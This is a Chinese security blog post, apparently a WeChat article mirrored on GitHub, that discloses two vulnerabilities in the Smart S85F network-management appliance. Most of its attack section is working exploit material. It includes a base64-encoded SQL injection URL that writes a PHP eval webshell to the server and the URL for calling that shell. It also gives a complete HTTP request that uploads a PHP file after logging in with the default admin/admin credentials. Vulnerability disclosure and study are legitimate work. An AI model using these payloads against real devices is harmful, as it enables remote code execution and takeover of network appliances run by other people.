Skip to content

Latest commit

 

History

History
118 lines (60 loc) · 4.37 KB

[不够安全]-2023-8-4-Smart S85F管理系统 最新漏洞两枚 CVE-2023-4120和CVE-2023-4121.md

File metadata and controls

118 lines (60 loc) · 4.37 KB

Smart S85F管理系统 最新漏洞两枚 CVE-2023-4120和CVE-2023-4121

原创 不够安全 不够安全

不够安全

微信号 gh_72a34cefa21c

功能介绍 公众号不定期分享一些web安全知识

__发表于

收录于合集

#Web安全 32 个

#Web渗透 27 个

简介

百卓Smart S85F是Smart系列上网行为管理设备中的明星产品，它是专为中小型企业量身打造的专业级新品，它在功能设计方面充分考虑了中小型企业对网络设备高性价比的需求，将多种应用功能集于一身，包括网络应用封堵、流量控制、链路负载均衡、网页分类阻断、上网内容审计、防火墙、VPN等，可帮助企业有效减少网络建设成本、规范员工上网行为、提升网络带宽利用率、避免企业信息泄露、增强网络稳定性和安全性。

_ CVE-2023-4120 SQL注入导致的文件写入GetShell_

_ 漏洞描述_

北京百绰智能S85F管理平台发现漏洞，漏洞编号为20230722，级别为严重。此问题影响文件 importhtml.php 的某些未知处理，对参数 sql 的操作会导致命令注入，攻击可能是远程发起的，该漏洞已向公众披露并可能被使用。

_ 影响版本_

Smart S85F

_ 漏洞复现_

  1. SQL命令注入
https://xxx.xxx.xxx/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNDA2NTc2NjE2YzI4MjQ1ZjUyNDU1MTU1NDU1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiMjAzZjNlIGludG8gb3V0ZmlsZSAnL3Vzci9oZGRvY3MvbnNnL2FwcC9tb2R1bGUuY2xhc3MucGhwJw==

2.访问shell地址

http://xxx.xxx.xxx/app/module.class.php?cmd=phpinfo();

_ CVE-2023-4121 后台任意文件上传_

_ 漏洞描述_

北京百绰智能S85F管理平台发现漏洞，漏洞编号为20230722，级别为严重。受影响的是未知功能，对参数 file_upload 的操作会导致上传不受限制，可以远程发起攻击。该漏洞已向公众披露并可能被使用。

_ 影响版本_

Smart S85F

_ 漏洞复现_

1.登录后台，默认账户密码admin/admin，登录后替换cookie上传

POST /useratte/web.php? HTTP/1.1Host: xxx.xxx.xxx:8443Cookie: PHPSESSID=3b0048dc500aea61e25f3b1de573f65dUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328Content-Length: 611Origin: https://xxx.xxx.xxx:8443Referer: https://xxx.xxx.xxx:8443/sysmanage/licence.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: close  
-----------------------------42328904123665875270630079328Content-Disposition: form-data; name="file_upload"; filename="2.php"Content-Type: application/octet-stream  
<?php phpinfo(); ?>-----------------------------42328904123665875270630079328Content-Disposition: form-data; name="id_type"  
1-----------------------------42328904123665875270630079328Content-Disposition: form-data; name="1_ck"  
1_radhttp-----------------------------42328904123665875270630079328Content-Disposition: form-data; name="mode"  
import-----------------------------42328904123665875270630079328

2.上传后shell地址：http://xxx.xxx.xxx/upload/2.php

_ 参考链接_

 https://nvd.nist.gov/vuln/detail/CVE-2023-4120https://github.com/RCEraser/cve/blob/main/rce.mdhttps://nvd.nist.gov/vuln/detail/CVE-2023-4121https://github.com/torres14852/cve/blob/main/upload.mdhttps://www.byzoro.com/

仅供学习交流，勿用作违法犯罪！！！

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序

取消 允许

取消 允许

： ， 。 视频 小程序 赞 ，轻点两下取消赞 在看 ，轻点两下取消在看